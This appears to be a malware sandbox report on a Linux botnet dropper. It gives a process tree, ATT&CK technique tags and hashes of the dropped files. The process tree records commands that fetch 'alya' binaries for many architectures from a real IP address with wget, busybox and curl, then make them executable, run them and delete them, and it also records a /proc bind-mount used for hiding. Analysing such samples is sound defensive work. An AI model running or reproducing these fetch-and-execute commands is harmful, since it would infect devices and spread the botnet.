    PID:1079
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1080
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1081
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1069"
    3⤵
    PID:1082
  - - /bin/mount
      mount --bind /tmp /proc/1069
      4⤵
      PID:1083
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1020
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1021
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1045
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1047
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1050
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1051
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mipsel
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1052
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1053
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1054
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1055
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1056
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sparc
  2⤵
  PID:1057
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1058
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1059
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1060
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1061
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1062
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1063
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1064
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1066
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1067
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sparc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1068
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1084
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1085
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1087
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1088
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv5l
  2⤵
  PID:1089
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1090
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1091
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1092
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1093
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1094
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1095
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1096
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1098
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1099
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1100
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1101
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1102
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1104
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1105
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i486
  2⤵
  PID:1106
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1107
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1108
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1109
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1110
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1111
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1112
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1113
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1115
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1116
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i486
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1117
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1118
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1119
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1121
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1122
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.m68k
  2⤵
  PID:1123
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1124
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1125
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1126
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1127
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1128
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1129
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1130
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1132
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1133
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1134
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1135
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1136
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1138
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1139
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.powerpc
  2⤵
  PID:1140
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1141
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1142
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1143
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1144
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1145
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1146
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1147
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1149
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1150
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.powerpc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1151
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1152
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1153
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1155
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1156
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.x86_64
  2⤵
  PID:1157
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1158
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1159
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1160
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1161
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1162
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1163
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1164
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1166
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1167
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1168
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1169
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1170
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alya.arc

Path /tmp/alya.arc
Size 89KB
SHA256 46c2213079848ee09d843de65a67b63ab061f3002fcf70e63e5d9c6a974fc69c
MD5 16ef618bf21a3322c6793be87d553f08
SHA1 18eee478866d0829560ed0c11c4f6e1faa5dffbc
SHA512 90b24fcee9f09d8f6fd3496303a176e4747e6437e075abd633a6b5fe1d522688e776166fc5749ce840923ada8d82b72ecc40bf9a341e187a9183d7bea6f03040
SSDEEP 1536:W/MlrduOjiw2kDji1tVudPvivfb3Ugz/LWeX:W6jqkDjGvu9vivz3Ugzqe
TLSH
T1E9936ACBF60B9992CC1146F04BC75B9E3E172221DE1398F33C1E6A76447A1DB990A7D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

stat

Path /tmp/stat
Size 264B
SHA256 03e1b9e68493e535076dda42aaacfb5ccd7615c7e331e7f44e97602157384c87
MD5 8cd4db78181848f4a1394177b853d4ae
SHA1 678ded9b2e16e4bfaf9c77b384d51faaebd2b8ee
SHA512 9e7c5e4966d147fc19aef31cb5a52d2c27482351ed268641defd21493356f6c53f3bc72ed86b18686b2e18150474f884101c7aab2df1fc7990d4cc1bbe850a88
TLSH
T179D05E7981C928EC4F9AE9C58B0752C4137FF2B93D395918088C55A91987E38D5A7C85
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 264B
SHA256 aa2487545aaf3dbe242de4e3c5d176ed2ed6d217ea7c7091a59346854f647dd3
MD5 5177afba145ab5fd45f1c11d248af262
SHA1 ca85f05a7b191a75b53787f34bc43cace73efdc4
SHA512 cac9388e59506bfbee3e3eca00c6642c406932a507547be3d4c6484f0f0628c44f7bb3308aef36a078bc1620b97097bef62a0536fc7e1d1caf1b5a260bbb055d
TLSH
T1DBD02B38C0CC18DC0F59D5C14B0351C0433FF1B63D391408088C95681887938C597C45
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 264B
SHA256 e1f2066914c24543b222d9f322dfb84709c7e6c1cc4808e94f94f23bf7aef229
MD5 aa22bf947539ddc168694fed2b0771f5
SHA1 612bf5a6dbc785867037883fe11ae411d059d463
SHA512 2c0b91cdf654ffef213c73b56b1a35706a62fb91f4be23ee5cecc52595a049acf53de74c899afb973bc0325080feb1373900379a3bb27256377fb17dc85a6656
TLSH
T153D02B7C81C824DC4E59E5C5470342C0137EF6BA3D381404248C45691C43938C697C48
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 27B
SHA256 ec8d4cabe228c48666a59435f6ea1eba348ec5dc022b22377930add619caeea8
MD5 5668baf03617ac86d06d5e76c4eb5955
SHA1 de8a39d8e890b02983c2b74500dd4aece911c7cb
SHA512 059c1092102eeb2aa8d9c74ac79ddc51f53099995cf13397b8213005a0e210f577758416c20451cef2cb29cd82b1f0aa8bcbb5c5e07aca4d4ebbf636e88dbde8
MD5 SHA1 SHA512

Submit Download

statm

Path /tmp/statm
Size 28B
SHA256 7ec5df8cf31aa0171f07428c9f921a90b963520c6b6ab22a0280f4eca536190e
MD5 357393666ea2d46e92510bd6d474e551
SHA1 e859035c1b7c46be448aced8a853b2506f492aa5
SHA512 94576d76483af2d8f3f40ccc535b209696fd49ed4c52b9922d6cb5181593c902ea06878d61106daa2ddf86ab371223d3f26d2ed59402430041257e9f5ad1dcbd
MD5 SHA1 SHA512

Submit Download

statm

Path /tmp/statm
Size 28B
SHA256 14bb20c285c7942ec76adafbd1fd58c4edb06614663f5e36a0598089eff252e4
MD5 5afaf7c21178a193e36516e5364c9cdc
SHA1 34fa1e99bd4de344d18f53e36e5fd6766904541c
SHA512 282fa44f7d350aceb33f9918d68c33bf3eab51154a7fa020941c7987358645b4c4449c161d95c34f975eb29f3abb5b144dcd42edcdbda07b9205a81c79b2917a
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 13bd1cbe19382ce4885563d69133b8ec2c7aacf889c20e762e8b049dcef5ec6f
MD5 066a8c59b558819a8cd367ac8b52ecb7
SHA1 0e503a45d050baf4cae4e49d57cb0f59a991dc95
SHA512 e69d013f3b34b4c3566860d9b2f0bb5d92551f93dc531d527a85b2e81887352fa107d92ba9e5bff258b4914ba5897eb504af0d476cef626a1d5c4eb50b354174
TLSH
T1CB1125158FE7ACD4CABE8389147AF4016070F25A68D16135314EC878FB3769FA7989D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 34897f489779af6806634f9494ad04bd9e498e322c0add79c1dde3dcafbe9ffd
MD5 294ba083bb5705e46c044ab990ee8218
SHA1 42d95b04e9f28bb1bf442f81a59ebaea35008fc0
SHA512 69621450c78c31b0d55e3610a9c9d3f9cba6f13dad89aade9617c2af7507cf5ad1eb75e8b34f0bcc1f86062e089d95c3309b64ebfcc0ba6707f57bdde70b5435
TLSH
T11C1125159FE7ACD4CABE8389147AF4006070F25D68D06131714EC879FB3769FA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 82479681c1d44b522bb632046cc30699a88af918f12a45568fbeeb9dec7d7d9f
MD5 50ef23056e872fef9825080550fc4484
SHA1 ca440ee5c1d154532c21c8b00d7153e55cb32ea7
SHA512 82ddce343b3565a1818215c7c65a5a8108ed1dcf392365c73c09a3539c425d24a117d848f5a1ab70695ce30a06de970aa52390fd542c9dcc6c7a26f302797207
TLSH
T11B1125158FE7ACD8CABE8348146AF405A0B0F21A68D06135304EC978FB3769FA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /usr/bin/wget
Size 58KB
SHA256 fa209da594d14353c42b4a9277faf0a18343c66d1fa5787f6cb66343403450d4
MD5 1366c5ce8c98637c55dd95fb10447c6e
SHA1 bad5a717bffbdc2ac72401f4407f20452c3ef242
SHA512 35310a1c52dbfb89237d8ba1b490bc2b1f5e824bdfa533ed1f211046461fdc76817ba092bb13118b1811139a19b81c504f6c5c9cedac8340acb65d573944ed2b
SSDEEP 1536:HiQOAOAONaZnGoHbptx1PmyMxpX1lBv3fpnT5:H3OAOAONaZnGRj3hnT
TLSH
T12243C519EF514EF7D86FDD3706E80B1231CC554712A83F3A3978D928B65A50B4AE3CA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads